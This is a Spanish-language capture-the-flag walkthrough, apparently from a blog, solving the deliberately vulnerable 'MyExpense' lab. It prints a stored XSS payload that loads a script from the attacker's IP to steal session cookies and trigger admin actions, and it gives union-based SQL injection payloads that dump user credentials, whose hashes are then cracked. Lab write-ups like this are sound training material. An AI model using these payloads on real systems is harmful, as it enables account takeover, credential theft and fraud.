
MyExpense es una aplicación web deliberadamente vulnerable que permite entrenarse en la detección y explotación de diferentes vulnerabilidades web. A diferencia de una aplicación de "desafío" más tradicional (que permite entrenarse en una sola vulnerabilidad específica), MyExpense contiene un conjunto de vulnerabilidades que se deben explotar para lograr el escenario completo.
Eres "Samuel Lamotte" y acabas de ser despedido de tu empresa, "Furtura Business Informatique". Lamentablemente, debido a tu salida precipitada, no tuviste tiempo de validar el informe de gastos de tu último viaje de negocios, que aún asciende a 750 €, correspondientes a un vuelo de ida y vuelta con tu último cliente.
Temiendo que tu antiguo empleador no quiera reembolsarte este informe de gastos, decides hackear la aplicación interna "MyExpense" para gestionar los informes de gastos de los empleados.
Estás en tu coche, en el aparcamiento de la empresa, conectado al wifi interno (la clave aún no se ha cambiado tras tu salida). La aplicación está protegida mediante autenticación de usuario y contraseña, y esperas que el administrador no haya modificado ni eliminado tu acceso.
Tus credenciales eran: samuel/fzghn4lw
Una vez completado el reto, la bandera se mostrará en la aplicación mientras esté conectada a tu cuenta (de Samuel).
Nuestra máquina objetivo tiene la dirección IP: 192.168.50.235.
![]() |
| sudo netdiscover -r 192.168.50.0/24 |
![]() |
| Escaneo Nmap -sV (Detección de Versiones). |
![]() |
| Escaneo Nmap -sC (Script básicos de reconocimiento). |
Como se muestra en la última imagen del escaneo con Nmap, existe un archivo robots.txt. Este archivo se utiliza para evitar que los buscadores web como Google, Bing, Yahoo Search, etc., no indexen páginas web y las muestren como resultado de búsqueda.
Ahora analicemos la sitio web que se está ejecutando en el servicio web.
Como se muestra en la imágenes anteriores, en un principio tenemos dos páginas web: la primera es la típica página de inicio y un panel de administración para activar y desactivar usuarios descubierta en el archivo robots.txt. También hay dos páginas más una para crear una cuenta de usuario y otra para autenticarse en la aplicación web.
Recordemos que nos proporcionan las credenciales Samuel Lamotte (samuel:fzghn4lw) podemos utilizarlas para autenticarnos en el formulario de login. También hay un formulario web para crear cuentas de usuarios, que es de solo uso interno y me imagino que solo los administradores del sistema puede crear usuarios.
La cuenta de Samuel Lamotte esta inactiva también podemos observar que el nombre de usuario para Samuel es slamotte, entonces las credenciales para Samuel serían (slamotte:fzghn4lw), pero su cuenta esta inactiva, pero debemos comprobarlo.
Efectivamente la cuenta de Samuel se encuentra desactivada. En este punto la idea es poder encontrar una vulnerabilidad para procesar el informe de gasto de Samuel para que sea reembolsada.
Analizaré el formulario para crear una cuenta.
Este formulario no tiene habilitado el botón singn up!, me imagino que es una medida de seguridad para que tan solo los administradores tengan disponible la funcionalidad de hacer un singn up para crear cuentas de usuarios. Lo que haré sera analizar el código fuente de este formulario.
Como se muestra en la imagen el botón tiene el atributo disabled, este atributo es perfectamente modificable desde el navegador web. Lo que haré será eliminar este atributo y comprobar si se ejecuta alguna validación desde el lado del servidor.
Al deshabilitar el atributo disabled del botón singn up, al enviar el formulario la cuenta se crea con éxito como se muestra en la siguiente imagen.
Como se muestra en la imagen la cuenta que creamos está deshabilitada, esto indica que aunque pudimos saltar el control del formulario de creación de usuarios hay un control adicional, es decir, algún administrador del sistema tiene que habilitar la cuenta de usuario.
En este punto, probaré si el panel de administración es vulnerable a XSS (Cross-Site Scripting) es un vulnerabilidad de seguridad de sitio web que permite inyectar código malicioso en el navegador web del usuario, haciéndolo parecer como si el código viniera del sitio legítimo.
Para probar si el sitio es vulnerable a XSS, crearé una nueva cuenta de usuario y en el campo FirstName del formulario inyectaré el siguiente código: <script src=http://192.168.50.197/pwn.js></script>. Donde la IP 192.168.50.197 es la dirección IP de mi máquina atacante y pwn.js es un recurso que voy a servir desde mi máquina atacante.
Crearé el archivo pwn.js en mi máquina atacante.
Luego lo voy a servir levantando un servicio web con Python en el mismo directorio donde creé el archivo pwn.js.
Ahora recargaré la pagina admin.php. si nos llega una solicitud a nuestro servicio que levantamos con Python sería un indicador que el panel admin.php es vulnerable a XSS.
El panel de administración es vulnerable a XSS, recibimos una solicitud. Lo interesante en este punto es que seguimos recibiendo solicitudes cada cierto tiempo, lo que podemos hacer aquí es modificar nuestro archivo y robar las cookies de sesión de los usuarios que están visitando la página web que de seguro deben ser usuarios con permiso de administrador.
El objeto
XMLHttpRequest es una interfaz proporcionada por los navegadores web que permite hacer solicitudes HTTP o HTTPS desde JavaScript sin recargar la página. Es una de las tecnologías fundamentales detrás de AJAX (Asynchronous JavaScript and XML). La instrucción javascript document.cookie, la utilizamos para obtener la cookies de sesión del usuario que visite la página web. En nuestra máquina atacante recibiremos las cookies de los usuarios que visiten la página.Una vez cambiado la cookie de sesión en nuestro navegador nos resta recargar la página web y observar que sucede.
El servidor valida que solamente exista una sesión activa de los usuario(s) administradores en la aplicación web, también el mensaje nos revela que la sesión activa es de algún administrador. Con esto en mente podemos activar la cuenta de usuario de Samuel. De la siguiente manera.
En el panel de administración al hacer click en los botones de estatus nos redirige a la siguiente URL.
Claro como no tenemos permiso de administrador no podemos cambiar el estado de la cuenta de Samuel a activo. Pero si retocamos nuestro archivo pwn.js y cambiamos la petición a http://192.168.50.235/admin/admin.php?id=11&status=active, como el usuario administrador tiene una sesión activa, cuando visite la página admin.php la cuenta de Samuel se activará.
Nuevamente servimos el archivo pwn.js y esperamos que nos llegue la solicitud y comprobamos que la cuenta de usuario de Samuel se active.
Hasta este punto logramos activar la cuenta de Samuel a través de la vulnerabilidad XSS, entonces nos autenticaremos a la aplicación con las credenciales de Samuel (slamotte:fzghn4lw).
Como se muestra en la imagen la solicitud de Samuel no fue procesado debido a su abrupto despido, Samuel no alcanzo a procesarla para su pago. Entonces haremos click en el botón de color verde para procesar la solicitud de Samuel.
Hacemos click en el botón (Yes).
Como se muestra en la imagen anterior la solicitud de Samuel fue enviada, pero esta debe ser aprobada por alguna persona de Finanzas o por algún administrador, como se muestra en la siguiente imagen.
En la imagen se muestra un chat y en la parte inferior de la imagen un formulario web que nos permite enviar mensajes, sabemos que la página web es vulnerable a XSS, por lo tanto, podemos inyectar nuevamente código para obtener cookies de sesión de los usuarios que están participando en el chat.
Configuraremos nuevamente nuestro archivo pwn.js, como se muestra en la siguiente imagen.
Y en el formulario web inyectaremos nuevamente el código <script src=http://192.168.50.197/pwn.js></script>.
La inyección fue exitosa. Ahora desde nuestra máquina atacante debemos servir el archivo.
Pudimos obtener las cookies de usuario, ahora formatearé el información anterior para tener la información más ordenada, copiaré la información en un archivo llamado cookie.txt y aplicaré el siguiente filtro.
Por lo tanto, algún manager debe aprobar la solicitud de reembolso de Samuel Lamotte. Al modificar la cookie en el navegador web por la Manom Riviere (Manager). podemos observar la solicitud de reembolso de Samuel Lamotte.
Como se muestra en la imagen anterior a través de la cookie de sesión del usuario Manom Riviere se puedo procesar el reembolso de Samuel Lamotte. Si ingresamos a la cuenta de Samuel el pago aún no sido asignado y tampoco vemos la flag (Bandera).
Una cosa importante es que al hacer click el menú "Rennes" del usuario Manon Riviere podemos ver la siguiente URL 'http://192.168.50.235/site.php?id=2'.
Probablemente se use el parámetro 'id' para cargar los datos en la tabla que se muestra en el centro de página web. Haré algunas prueba alterando el valor del parámetro 'id'. Si los datos cambian, esto sugiere que el parámetro 'id' se esta utilizando como filtro para construir la consulta SQL y mostrar los datos en la tabla.
![]() |
| Prueba con id=3 |
Como se muestra en la imagen anterior los datos cambiaron al cambiar el valor del parámetro 'id'. Ahora probaré si el parámetro 'id' es vulnerable a inyección SQL.
El parámetro 'id' es vulnerable a inyección SQL. El payload utilizado fue 'order by 2' como se muestra en la imagen, los datos se ordenan por la segunda columna (Lastname).
Ahora realizaré una consulta de tipo union select 1,2, con esto podré observar donde se muestra la salida de la consulta inyectada.
Como se muestra en la imagen la inyección SQL union select 1,2 se refleja en la parte superior de la tabla. Con esto podemos extraer y mostrar información de la base de datos, lo primero que haré será obtener la versión de la base de datos. Utilizaré la siguiente cheat sheet de BurpSuite en el se muestran varios tipos de payload que se pueden utilizar.
Con la inyección SQL schema_name from information_schema.schemata-- -podemos listar las bases de datos que se están administrando por MariaDB. La base de datos que nos interesa es 'myexpense'. Ahora listaré las tablas de la base de datos de 'myexpense', con el siguiente payload table_name from information_schema.tables where table_schema='myexpense'-- -.
Aquí la tabla que nos interesa es la tabla user por lo tanto utilizaré el siguiente payload column_name from information_schema.columns where table_schema='myexpense' and table_name='user'-- -
En este punto nos interesa las columnas username y password utilizaremos el siguiente payload union select 1, group_concat(username,':',password) from user-- -.
Como se muestra en la imagen pudimos obtener los usuarios y password, ahora los copiaré y formatearé para tener una mejor comprensión de los datos.
Los contraseña de usuarios están hasheadas en este punto necesitamos descifrar los hash de contraseña. Utilizaré la herramienta crackstation para descifrar los hashes.
La herramienta pudo descifrar dos hashes de contraseña, ahora debemos saber a que tipo de usuario corresponde estas contraseñas.
El usuario pbaudouin tiene la contraseña HackMe y el usuario rperez con contraseña 12345678 es nuestro usuario que crearemos anteriormente. Ahora me conectaré con el usuario pbaudouin.
En el menú de usuario pbaudouin está la opción Expense report en el se muestra el informe de gasto de Samuel Lamotte como se muestra en la siguiente imagen.
Ahora solo debemos procesar el informe de gasto de Samuel Lamotte para que reciba su reembolso de gasto.
Confirmamos haciendo click en el botón "Yes".
Como se muestra en la imagen el informe de gasto fue enviado para su pago. Si ingresamos a la cuenta de Samuel Lamotte se nos muestra la flag.
La flag de esta máquina es flag {H4CKY0URL1F3}.
Happy Hack!!!




























































Comentarios
Publicar un comentario